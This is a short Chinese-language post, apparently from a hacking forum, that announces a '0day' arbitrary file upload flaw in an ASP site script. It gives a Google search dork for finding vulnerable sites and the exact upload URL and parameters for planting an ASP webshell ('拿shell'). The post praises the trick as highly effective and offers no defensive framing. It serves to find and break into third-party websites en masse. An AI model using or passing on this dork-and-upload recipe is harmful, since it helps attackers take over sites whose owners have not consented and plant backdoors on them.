今天呢，发布一个0day，是一个任意上传漏洞。 谷歌关键字：inurl:newslist.asp?NodeCode= 然后在域名后面添加admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp 任意上传拿shell   很吃香哦 出图测试